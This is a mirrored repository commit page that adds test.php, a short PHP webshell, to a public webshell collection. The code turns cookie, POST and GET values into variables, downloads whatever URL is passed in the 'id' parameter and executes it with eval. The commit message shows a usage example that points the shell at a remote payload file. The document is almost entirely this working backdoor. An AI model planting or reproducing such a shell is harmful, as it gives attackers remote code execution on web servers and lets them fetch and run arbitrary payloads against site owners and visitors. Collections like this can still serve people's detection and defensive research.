mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
Create test.php
from:https://github.com/tide-emergency/yingji/blob/master/%E6%9C%A8%E9%A9%AC%E5%90%8E%E9%97%A8/test.php use: http://xxx.xxx/plus/test.php?id=http://xx.x.xx.xx:xxx/s/admine21.txt ====> optimized.php
This commit is contained in:
parent
f315423d0a
commit
0add9c4465
1 changed files with 21 additions and 0 deletions
21
php/test.php
Normal file
21
php/test.php
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
<?php
|
||||||
|
function _strint($key){
|
||||||
|
return @file_get_contents($key);
|
||||||
|
}
|
||||||
|
function log1($log){
|
||||||
|
lone(_strint($log));
|
||||||
|
}
|
||||||
|
function lone($key){
|
||||||
|
$str = "";
|
||||||
|
return eval($str.$key.$str);
|
||||||
|
}
|
||||||
|
foreach (array('_COOKIE','_POST','_GET') as $_request)
|
||||||
|
{
|
||||||
|
foreach ($$_request as $_key=>$_value)
|
||||||
|
{
|
||||||
|
$$_key= $_value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$id = isset($id) ? $id : 2;
|
||||||
|
log1($id);
|
||||||
|
?>
|
Loading…
Reference in a new issue